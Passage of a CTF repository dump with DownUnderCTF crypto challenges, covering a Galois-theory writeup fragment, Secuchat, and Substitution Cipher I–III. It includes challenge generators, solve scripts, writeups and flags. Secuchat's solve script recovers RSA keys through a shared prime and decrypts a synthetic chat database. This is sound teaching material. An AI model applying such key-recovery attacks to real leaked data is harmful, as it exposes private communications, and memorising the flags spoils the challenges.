cyclic and of order $n$ as $\phi^n : K \rightarrow K, x \mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields. In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\mathbb{Z}/15\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\mathrm{id}$ denotes the identity map): |Subgroup of $G$|Intermediate Field of $K$| |---|---| |$H_0 = \{ \mathrm{id} \}$|$K^{H_0} = K$ (all elements are fixed by $\mathrm{id}$)| |$H_1 = \{ \mathrm{id}, \phi^5, \phi^{10} \}$|$K^{H_1} = \mathbb{F}_{r^5}$| |$H_2 = \{ \mathrm{id}, \phi^3, \phi^6, \phi^9, \phi^{12} \}$|$K^{H_2} = \mathbb{F}_{r^3}$| |$G$|$K^G = \mathbb{F}_r$ (only $\mathbb{F}_r$ is fixed by all automorphisms)| From this, we can see that $\mathbb{F}_{r^3}$ is fixed by $\phi^3$. ================================================ FILE: crypto/secuchat/README.md ================================================ # Secuchat **Category:** crypto **Difficulty:** medium **Author:** nullableVoid\*#7225 "With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes." Shame their DB got dumped. See if you can glean anything. **Attached files:** - secuchat.db (sha256: cc4d0ee9c26cd173d53d0ad2d00e40f7c8ee637141ddc60f65cc853e7f86ed40) ================================================ FILE: crypto/secuchat/challenge.yml ================================================ version: "0.1" id: secuchat name: Secuchat category: crypto description: > "With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes." Shame their DB got dumped. See if you can glean anything. Author: nullableVoid*#7225 tags: - medium files: - ./publish/secuchat.db flags: - DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!} ================================================ FILE: crypto/secuchat/solve/attack.py ================================================ #!/usr/bin/env python import sys import sqlite3 import itertools from math import gcd from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Cipher import AES from Crypto.Util.Padding import unpad db = sys.argv[1] if len(sys.argv) > 1 else './publish/secuchat.db' cur = (conn := sqlite3.connect(db)).cursor() cur.execute("SELECT * FROM User;") users = [(name, RSA.importKey(k)) for name, k in cur] for (an, ak), (bn, bk) in itertools.combinations(users, 2): if (p := gcd(ak.n, bk.n)) > 1: break print(an, bn) ak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, q)) bk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q)) for user, rsa_key in [(an, ak), (bn, bk)]: oaep = PKCS1_OAEP.new(rsa_key) cur.execute(''' SELECT Conversation.id, initiator, peer, encrypted_aes_key_for_initiator, encrypted_aes_key_for_peer, iv FROM Conversation INNER JOIN Parameters ON Parameters.id = Conversation.initial_parameters WHERE initiator = ? OR peer = ?; ''', (user, user)) for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall(): print(f"{cid}: {initiator} & {peer}") attribute = "" aes = None if initiator == user: attribute = "encrypted_aes_key_for_initiator" aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv) else: attribute = "encrypted_aes_key_for_peer" aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv) cur.execute(''' SELECT encrypted_message, from_initiator, ''' + f"{attribute}, " + ''' iv FROM Message INNER JOIN Parameters ON Parameters.id = next_parameters WHERE conversation = ? ORDER BY timestamp ASC; ''', (cid,)) for message, from_initiator, key, iv in cur.fetchall(): print(f"{[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size).decode()) if "DUCTF" in message: break aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv) if "DUCTF" in message: break if "DUCTF" in message: break conn.close() ================================================ FILE: crypto/secuchat/solve/writeup.md ================================================ # Solution Sift through combinations of the population of RSA keys until a common prime is found (this is improbable in the wild, but is infinitely easier than factoring, see [Ron was wrong, Whit is right](https://eprint.iacr.org/2012/064.pdf). From the challenge description and database schema infer the crypto scheme used in the chat, that is, shared keys for AES-256-CBC encrypted with RSA and OAEP. Decrypt the messages one by one until the flag is found. ================================================ FILE: crypto/secuchat/src/flag.txt ================================================ DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!} ================================================ FILE: crypto/secuchat/src/generate.py ================================================ import sys from faker import Faker import sqlite3 import random from Crypto.PublicKey import RSA from Crypto.Util.number import getStrongPrime from Crypto.Random import get_random_bytes from Crypto.Cipher import AES from Crypto.Cipher import PKCS1_OAEP from Crypto.Util.Padding import pad from datetime import datetime FLAG = open("flag.txt", "r").read().strip() cursor = (conn := sqlite3.connect(sys.argv[1])).cursor() fake = Faker('en_AU') random_keys = [(fake.user_name(), RSA.generate(2048)) for i in range(29)] common = random.choice(random_keys)[1].p q = getStrongPrime(1024) vulnerable = (fake.user_name(), RSA.construct(( common * q, 65537, pow(65537, -1, (common - 1) * (q - 1)), common, q ))) cursor.executescript(''' CREATE TABLE User ( username TEXT PRIMARY KEY, rsa_key BLOB ); CREATE TABLE Parameters ( id INTEGER PRIMARY KEY AUTOINCREMENT, encrypted_aes_key_for_initiator BLOB, encrypted_aes_key_for_peer BLOB, iv BLOB ); CREATE TABLE Conversation ( id INTEGER PRIMARY KEY AUTOINCREMENT, initiator TEXT, peer TEXT, initial_parameters INTEGER, FOREIGN KEY (initiator) REFERENCES User(username), FOREIGN KEY (peer) REFERENCES User(username), FOREIGN KEY (initial_parameters) REFERENCES Parameters(id), UNIQUE(initiator, peer) ); CREATE TABLE Message ( conversation INTEGER, timestamp INTEGER, from_initiator BOOL, next_parameters INTEGER, encrypted_message BLOB, FOREIGN KEY (conversation) REFERENCES Conversation(id), FOREIGN KEY (next_parameters) REFERENCES Parameters(id) ); ''') cursor.executemany(''' INSERT INTO User(username, rsa_key) VALUES (?, ?); ''', [(u, k.publickey().exportKey("DER")) for u, k in random.sample(random_keys + [vulnerable], len(random_keys) + 1)]) print("Generated users") all_keys = dict(random_keys + [vulnerable]) def insert_parameters(encrypted_for_initiator, encrypted_for_peer, iv): cursor.execute(''' INSERT INTO Parameters(encrypted_aes_key_for_initiator, encrypted_aes_key_for_peer, iv) VALUES (?, ?, ?); ''', (encrypted_for_initiator, encrypted_for_peer, iv)) cursor.execute(''' SELECT id FROM Parameters WHERE rowid = ?; ''', (cursor.lastrowid,)) return cursor.fetchone()[0] def new_conversation(initiator, peer, messages, timestamp): initiator_oaep = PKCS1_OAEP.new(all_keys[initiator]) peer_oaep = PKCS1_OAEP.new(all_keys[peer]) key = get_random_bytes(32) iv = get_random_bytes(16) cursor.execute(''' INSERT INTO Conversation(initiator, peer, initial_parameters) VALUES (?, ?, ?); ''', (initiator, peer, insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv))) cursor.execute(''' SELECT id FROM Conversation WHERE rowid = ?; ''', (cursor.lastrowid,)) conversation_id = cursor.fetchone()[0] timestamp += random.randint(1, 100) result = [] for message in messages: encrypted = AES.new(key, AES.MODE_CBC, iv=iv).encrypt(pad(message[1].encode(), AES.block_size)) key = get_random_bytes(32) iv = get_random_bytes(16) result.append(( conversation_id, timestamp, message[0], insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv), encrypted )) timestamp += random.randint(2, 20) return result all_messages = [] now = int(datetime.now().timestamp()) for i in range(45): initiator, peer = random.sample(list(all_keys.keys()), 2) while True: cursor.execute(''' SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?); ''', (initiator, peer, initiator, peer)) if cursor.fetchone()[0] == 0: break initiator, peer = random.sample(list(all_keys.keys()), 2) all_messages += new_conversation(initiator, peer, [(bool(random.getrandbits(1)), fake.sentence()) for i in range(random.randint(4, 10))], now) initiator = vulnerable[0] peer = random.choice(list(all_keys.keys())) while True: cursor.execute(''' SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?); ''', (initiator, peer, initiator, peer)) if cursor.fetchone()[0] == 0: break peer = random.choice(list(all_keys.keys())) all_messages += new_conversation(initiator, peer, [ (True, f"hey {fake.sentence()}"), (False, f"hey {fake.sentence()}"), (True, f"here's the flag btw {fake.sentence()}"), (True, f"{FLAG} {fake.sentence()}"), (False, f"cheers {fake.sentence()}"), ], now) cursor.executemany(''' INSERT INTO Message(conversation, timestamp, from_initiator, next_parameters, encrypted_message) VALUES (?, ?, ?, ?, ?); ''', all_messages) conn.commit() conn.close() ================================================ FILE: crypto/substitution-cipher-i/README.md ================================================ # Substitution Cipher I **Category:** crypto **Difficulty:** beginner **Author:** joseph#8210 Just a simple substitution cipher to get started... **Attached files:** - ./challenge/substitution-cipher-i.sage (sha256: 2c6a139f53f9176129502d6c064bd91c633ba7144170b761cf6f43c82e978dc0) - ./challenge/output.txt (sha256: 2e486d6bb275404c56bbbb0bcbcbb04a3f5338b6a59590675e5941f2514e9b20) ================================================ FILE: crypto/substitution-cipher-i/challenge/flag.txt ================================================ DUCTF{sh0uld'v3_us3d_r0t_13} ================================================ FILE: crypto/substitution-cipher-i/challenge/output.txt ================================================ 𖿫𖝓玲𰆽𪃵𢙿疗𫢋𥆛🴃䶹𬑽蒵𜭱𫢋𪃵蒵🴃𜭱𩕑疗𪲳𜭱窇蒵𱫳 ================================================ FILE: crypto/substitution-cipher-i/challenge/substitution-cipher-i.sage ================================================ def encrypt(msg, f): return ''.join(chr(f.substitute(c)) for c in msg) P. = PolynomialRing(ZZ) f = 13*x^2 + 3*x + 7 FLAG = open('./flag.txt', 'rb').read().strip() enc = encrypt(FLAG, f) print(enc) ================================================ FILE: crypto/substitution-cipher-i/challenge.yml ================================================ version: "0.1" id: substitution-cipher-i name: Substitution Cipher I category: crypto description: | Just a simple substitution cipher to get started... Author: joseph#8210 tags: - beginner files: - ./challenge/substitution-cipher-i.sage - ./challenge/output.txt flags: - DUCTF{sh0uld'v3_us3d_r0t_13} ================================================ FILE: crypto/substitution-cipher-i/solve/solve.sage ================================================ P. = PolynomialRing(ZZ) f = 13*x^2 + 3*x + 7 enc = open('../challenge/output.txt', 'r').read().strip() flag = '' for c in enc: p = (f - ord(c)).roots()[0][0] flag += chr(p) print(flag) ================================================ FILE: crypto/substitution-cipher-i/solve/test.sh ================================================ #!/bin/sh TMPDIR=`mktemp -d` cp -r /work/challenge /work/solve "$TMPDIR" cd "$TMPDIR/solve" sage solve.sage ================================================ FILE: crypto/substitution-cipher-i/solve/writeup.md ================================================ The encryption used in the challenge is indeed a simple substitution cipher in disguise. If the text was longer and closer to English, it could be cracked with frequency analysis since each character is encrypted individually and independently of each other. A plaintext character `m` is encrypted by evaluating it at a public polynomial `f(x) = 13x^2 + 3x + 7`. For example, to encrypt the character "a" (whose ASCII value is 97) we would compute ``` f(97) = 13*(97^2) + 3*97 +7 = 122615 ``` The entire message is encrypted by encrypting each character in this way. Now suppose we are given a ciphertext value `c`. The goal is to find its corresponding plaintext character `x`. We can represent this mathematically as `f(x) = c`, so plugging in the values, we get ``` 13x^2 + 3x + 7 = 122615 ``` so ``` 13x^2 + 3x + 7 - 122615 = 0 ``` Which is just a quadratic equation that can be solved using the quadratic formula. In particular, we get ``` x = (-3 ± sqrt(9 - 4*13*(-122608)))/(2*13) = -97.23077 or 97 ``` Since we are only interested in positive, integer solutions, we conclude that `x = 97`. Doing this for each character in the ciphertext, we can recover the flag. SageMath provides a nice [method](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/polynomial_element.html#sage.rings.polynomial.polynomial_element.Polynomial.roots) for solving for the roots of polynomials which is used in the solve script: ```py P. = PolynomialRing(ZZ) f = 13*x^2 + 3*x + 7 enc = open('../challenge/output.txt', 'r').read().strip() flag = '' for c in enc: p = (f - ord(c)).roots()[0][0] flag += chr(p) print(flag) ``` ================================================ FILE: crypto/substitution-cipher-ii/README.md ================================================ # Substitution Cipher II **Category:** crypto **Difficulty:** easy **Author:** joseph#8210 That's an interesting looking substitution cipher... **Attached files:** - ./challenge/substitution-cipher-ii.sage (sha256: 7491cc5c853cd92c6adf836baad2cf66df84032e76f5603c5008e4681e705f79) - ./challenge/output.txt (sha256: a77979287fadd1547a84af88a84e78f32fa35d10a671060ec934ac8236e2b8d3) ================================================ FILE: crypto/substitution-cipher-ii/challenge/flag.txt ================================================ DUCTF{go0d_0l'_l4gr4ng3} ================================================ FILE: crypto/substitution-cipher-ii/challenge/output.txt ================================================ Ujyw5dnFofaou0au3nx3Cn84 ================================================ FILE: crypto/substitution-cipher-ii/challenge/substitution-cipher-ii.sage ================================================ from string import ascii_lowercase, digits CHARSET = "DUCTF{}_!?'" + ascii_lowercase + digits n = len(CHARSET) def encrypt(msg, f): ct = '' for c in msg: ct += CHARSET[f.substitute(CHARSET.index(c))] return ct P. = PolynomialRing(GF(n)) f = P.random_element(6) FLAG = open('./flag.txt', 'r').read().strip() enc = encrypt(FLAG, f) print(enc) ================================================ FILE: crypto/substitution-cipher-ii/challenge.yml ================================================ version: "0.1" id: substitution-cipher-ii name: Substitution Cipher II category: crypto description: | That's an interesting looking substitution cipher... Author: joseph#8210 tags: - easy files: - ./challenge/substitution-cipher-ii.sage - ./challenge/output.txt flags: - DUCTF{go0d_0l'_l4gr4ng3} ================================================ FILE: crypto/substitution-cipher-ii/solve/solve.sage ================================================ from string import ascii_lowercase, digits CHARSET = 'DUCTF{}_!?\'' + ascii_lowercase + digits n = len(CHARSET) def to_num(c): return CHARSET.index(c) def to_chr(x): return CHARSET[x] enc = open('../challenge/output.txt', 'r').read().strip() P. = PolynomialRing(GF(n)) known_pt = 'DUCTF{}' known_ct = enc[:6] + enc[-1] pairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)] f = P.lagrange_polynomial(pairs) # get the possible plaintext character for each ciphertext character possible_chars = [] for c in enc: possible = (f - to_num(c)).roots() possible = [to_chr(p[0]) for p in possible] possible_chars.append(possible) # get all combinations of possible plaintext characters possible_flags = [] for p in cartesian_product(possible_chars): possible_flags.append(''.join(p)) print('Possible Flags:') print('\n'.join(possible_flags)) ================================================ FILE: crypto/substitution-cipher-ii/solve/test.sh ================================================ #!/bin/sh TMPDIR=`mktemp -d` cp -r /work/challenge /work/solve "$TMPDIR" cd "$TMPDIR/solve" sage solve.sage ================================================ FILE: crypto/substitution-cipher-ii/solve/writeup.md ================================================ This challenge is a sequel to "Substitution Cipher I". We have a similar situation as with the first challenge, except instead of a function over the integers, we work over a finite field `GF(n)`, which for the purposes of this challenge, we can think of as basically a subset of the integers where addition and multiplication are done modulo `n`. Another difference is that the polynomial `f` is not given, and it is of degree 6. Each coefficient of `f` can be any integer in the range `0, 1, ..., n`, and since there are 7 coefficients, there can be up to `n^7` different possibilities for `f`. In the challenge, `n = 47`, so searching `n^7` possibilities would be unreasonable. Instead, we can use the fact that a polynomial of degree `d` is uniquely determined by `d+1` points that lie on it. We know that the flag is of the form `DUCTF{...}` so we have exactly 7 known points on the curve! We can use a technique known as [Lagrange interpolation](https://en.wikipedia.org/wiki/Lagrange_polynomial) to recover the polynomial (SageMath has a method for this too!). We find that the polynomial is ``` f(x) = 41x^6 + 15x^5 + 40x^4 + 9x^3 + 28x^2 + 27x + 1 ``` Now we can use a similar idea to the previous challenge and find possible plaintext characters for each ciphertext character `c` by finding the roots of `f(x) - c`. However, in this case, there may be many solutions in the range `0, 1, ..., n`. It turns out that the total number of possible flags is not that high, so we can look through all of them and choose the one that seems most fitting (or just try submitting all of them). The possible flags that we find (excluding the ones that don't fit flag format) are: ``` DUCTF{go0d_0l'_l4gr4pg8} DUCTF{go0d_0l'_l4gr4pg3} DUCTF{go0d_0l'_l4gr4ng8} DUCTF{go0d_0l'_l4gr4ng3} DUCTF{go0d_0l'_l4gr4fg8} DUCTF{go0d_0l'_l4gr4fg3} ``` The correct flag is `DUCTF{go0d_0l'_l4gr4ng3}`. ```py from string import ascii_lowercase, digits CHARSET = 'DUCTF{}_!?\'' + ascii_lowercase + digits n = len(CHARSET) def to_num(c): return CHARSET.index(c) def to_chr(x): return CHARSET[x] enc = open('../challenge/output.txt', 'r').read().strip() P. = PolynomialRing(GF(n)) known_pt = 'DUCTF{}' known_ct = enc[:6] + enc[-1] pairs = [(to_num(p), to_num(c)) for p,c in zip(known_pt, known_ct)] f = P.lagrange_polynomial(pairs) # get the possible plaintext character for each ciphertext character possible_chars = [] for c in enc: possible = (f - to_num(c)).roots() possible = [to_chr(p[0]) for p in possible] possible_chars.append(possible) # get all combinations of possible plaintext characters possible_flags = [] for p in cartesian_product(possible_chars): possible_flags.append(''.join(p)) print('Possible Flags:') print('\n'.join(possible_flags)) ``` ================================================ FILE: crypto/substitution-cipher-iii/README.md ================================================ # Substitution Cipher III **Category:** crypto **Difficulty:** hard **Author:** joseph#8210 Wait a **MI**nute, that's not a substitution cipher! **Attached files:** - ./challenge/substitution-cipher-iii.sage (sha256: 31cd375e3b8b141346f014b4eae47ad18455e111b1bcb93f20f189ea102331aa) - ./challenge/output.txt (sha256: d760f30838e844ebceb7d4329c087764858002e81860708b045d9ef68a6443ca) ================================================ FILE: crypto/substitution-cipher-iii/challenge/flag.txt ================================================ DUCTF{MQ_1s_fun_a5e39cf21a} ================================================ FILE: crypto/substitution-cipher-iii/challenge/output.txt ================================================ (x0*x1 + x0*x6 + x0*x7 + x0*x8 + x0*x11 + x0*x12 + x0*x15 + x0*x17 + x0*x18 + x0*x19 + x0*x24 + x0*x27 + x0*x28 + x0*x34 + x0*x36 + x0*x37 + x0*x38 + x0*x40 + x0*x41 + x0*x42 + x0*x43 + x0*x45 + x0*x46 + x0*x48 + x0*x50 + x0*x52 + x0*x53 + x0*x55 + x0*x56 + x0*x60 + x0*x62 + x0*x64 + x0*x69 + x0*x71 + x0*x74 + x0*x75 + x0*x78 + x1*x4 + x1*x6 + x1*x8 + x1*x11 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x24 + x1*x27 + x1*x29 + x1*x30 + x1*x34 + x1*x35 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x58 + x1*x60 + x1*x63 + x1*x65 + x1*x66 + x1*x71 + x1*x72 + x1*x76 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x18 + x2*x24 + x2*x25 + x2*x27 + x2*x33 + x2*x35 + x2*x37 + x2*x39 + x2*x41 + x2*x43 + x2*x44 + x2*x46 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x58 + x2*x60 + x2*x61 + x2*x62 + x2*x65 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x77 + x2*x79 + x2 + x3*x7 + x3*x9 + x3*x10 + x3*x11 + x3*x13 + x3*x14 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x31 + x3*x34 + x3*x35 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x46 + x3*x48 + x3*x50 + x3*x52 + x3*x58 + x3*x62 + x3*x65 + x3*x69 + x3*x70 + x3*x71 + x3*x73 + x3*x75 + x3*x76 + x3 + x4*x5 + x4*x6 + x4*x9 + x4*x12 + x4*x17 + x4*x18 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x29 + x4*x31 + x4*x32 + x4*x34 + x4*x39 + x4*x44 + x4*x46 + x4*x48 + x4*x50 + x4*x51 + x4*x53 + x4*x55 + x4*x57 + x4*x64 + x4*x65 + x4*x67 + x4*x68 + x4*x69 + x4*x74 + x4*x75 + x4*x79 + x4 + x5*x6 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x16 + x5*x19 + x5*x20 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x39 + x5*x40 + x5*x44 + x5*x46 + x5*x56 + x5*x60 + x5*x61 + x5*x63 + x5*x64 + x5*x65 + x5*x67 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x78 + x6*x10 + x6*x12 + x6*x13 + x6*x17 + x6*x19 + x6*x23 + x6*x27 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x34 + x6*x38 + x6*x39 + x6*x42 + x6*x44 + x6*x47 + x6*x49 + x6*x50 + x6*x55 + x6*x57 + x6*x60 + x6*x63 + x6*x64 + x6*x66 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6 + x7*x12 + x7*x14 + x7*x18 + x7*x20 + x7*x21 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x28 + x7*x29 + x7*x33 + x7*x34 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x43 + x7*x44 + x7*x48 + x7*x49 + x7*x50 + x7*x52 + x7*x53 + x7*x55 + x7*x59 + x7*x61 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x70 + x7*x72 + x7*x74 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x19 + x8*x21 + x8*x23 + x8*x25 + x8*x32 + x8*x33 + x8*x38 + x8*x40 + x8*x41 + x8*x45 + x8*x49 + x8*x57 + x8*x58 + x8*x63 + x8*x69 + x8*x72 + x8*x74 + x8*x75 + x8*x76 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x23 + x9*x24 + x9*x27 + x9*x28 + x9*x30 + x9*x32 + x9*x37 + x9*x38 + x9*x39 + x9*x42 + x9*x45 + x9*x46 + x9*x48 + x9*x52 + x9*x53 + x9*x56 + x9*x58 + x9*x59 + x9*x60 + x9*x61 + x9*x67 + x9*x68 + x9*x70 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x10*x11 + x10*x13 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x24 + x10*x25 + x10*x27 + x10*x30 + x10*x34 + x10*x35 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x48 + x10*x53 + x10*x54 + x10*x58 + x10*x67 + x10*x70 + x10*x72 + x10*x77 + x11*x12 + x11*x15 + x11*x16 + x11*x17 + x11*x21 + x11*x22 + x11*x25 + x11*x27 + x11*x32 + x11*x34 + x11*x35 + x11*x36 + x11*x37 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x43 + x11*x44 + x11*x46 + x11*x47 + x11*x48 + x11*x52 + x11*x53 + x11*x57 + x11*x58 + x11*x59 + x11*x61 + x11*x64 + x11*x65 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x13 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x25 + x12*x27 + x12*x31 + x12*x33 + x12*x34 + x12*x40 + x12*x41 + x12*x43 + x12*x47 + x12*x48 + x12*x49 + x12*x50 + x12*x53 + x12*x55 + x12*x56 + x12*x57 + x12*x61 + x12*x63 + x12*x66 + x12*x68 + x12*x70 + x12*x72 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x12*x79 + x13*x14 + x13*x17 + x13*x18 + x13*x24 + x13*x28 + x13*x29 + x13*x30 + x13*x36 + x13*x37 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x52 + x13*x54 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x69 + x13*x70 + x13*x71 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x78 + x14*x17 + x14*x19 + x14*x23 + x14*x24 + x14*x27 + x14*x30 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x42 + x14*x44 + x14*x45 + x14*x46 + x14*x47 + x14*x51 + x14*x52 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x64 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x73 + x14*x75 + x14*x79 + x14 + x15*x16 + x15*x19 + x15*x20 + x15*x21 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x31 + x15*x33 + x15*x34 + x15*x35 + x15*x44 + x15*x47 + x15*x48 + x15*x49 + x15*x51 + x15*x52 + x15*x53 + x15*x55 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x63 + x15*x66 + x15*x73 + x15*x75 + x15*x76 + x15*x77 + x15 + x16*x17 + x16*x19 + x16*x20 + x16*x22 + x16*x23 + x16*x24 + x16*x25 + x16*x27 + x16*x28 + x16*x37 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x48 + x16*x49 + x16*x50 + x16*x52 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x59 + x16*x61 + x16*x63 + x16*x65 + x16*x66 + x16*x67 + x16*x69 + x16*x70 + x16*x72 + x16*x74 + x16*x79 + x17*x22 + x17*x23 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x35 + x17*x36 + x17*x39 + x17*x41 + x17*x42 + x17*x44 + x17*x45 + x17*x47 + x17*x49 + x17*x51 + x17*x54 + x17*x58 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x70 + x17*x71 + x17*x74 + x17*x75 + x17*x77 + x17 + x18*x22 + x18*x23 + x18*x24 + x18*x26 + x18*x28 + x18*x31 + x18*x33 + x18*x34 + x18*x36 + x18*x40 + x18*x42 + x18*x45 + x18*x46 + x18*x48 + x18*x50 + x18*x52 + x18*x54 + x18*x55 + x18*x63 + x18*x64 + x18*x65 + x18*x67 + x18*x68 + x18*x72 + x18*x73 + x18*x76 + x19*x21 + x19*x23 + x19*x25 + x19*x26 + x19*x27 + x19*x28 + x19*x29 + x19*x32 + x19*x33 + x19*x35 + x19*x39 + x19*x45 + x19*x48 + x19*x49 + x19*x51 + x19*x52 + x19*x53 + x19*x54 + x19*x56 + x19*x57 + x19*x62 + x19*x64 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19 + x20*x22 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x35 + x20*x36 + x20*x40 + x20*x41 + x20*x47 + x20*x48 + x20*x49 + x20*x50 + x20*x52 + x20*x53 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x59 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x67 + x20*x68 + x20*x70 + x20*x71 + x20*x73 + x20*x77 + x20*x79 + x21*x22 + x21*x24 + x21*x25 + x21*x27 + x21*x28 + x21*x31 + x21*x35 + x21*x38 + x21*x39 + x21*x40 + x21*x43 + x21*x45 + x21*x46 + x21*x47 + x21*x48 + x21*x49 + x21*x52 + x21*x53 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x60 + x21*x62 + x21*x64 + x21*x65 + x21*x70 + x21*x77 + x21*x78 + x21 + x22*x24 + x22*x26 + x22*x27 + x22*x32 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x46 + x22*x47 + x22*x49 + x22*x51 + x22*x52 + x22*x53 + x22*x54 + x22*x55 + x22*x57 + x22*x59 + x22*x60 + x22*x62 + x22*x64 + x22*x65 + x22*x67 + x22*x69 + x22*x75 + x22*x77 + x23*x24 + x23*x26 + x23*x28 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x49 + x23*x50 + x23*x51 + x23*x54 + x23*x55 + x23*x56 + x23*x58 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x73 + x23*x76 + x23*x77 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x30 + x24*x32 + x24*x35 + x24*x36 + x24*x38 + x24*x42 + x24*x44 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x59 + x24*x60 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x73 + x24*x74 + x24*x76 + x24 + x25*x27 + x25*x28 + x25*x31 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x49 + x25*x57 + x25*x58 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x69 + x25*x70 + x25*x71 + x25*x72 + x25*x73 + 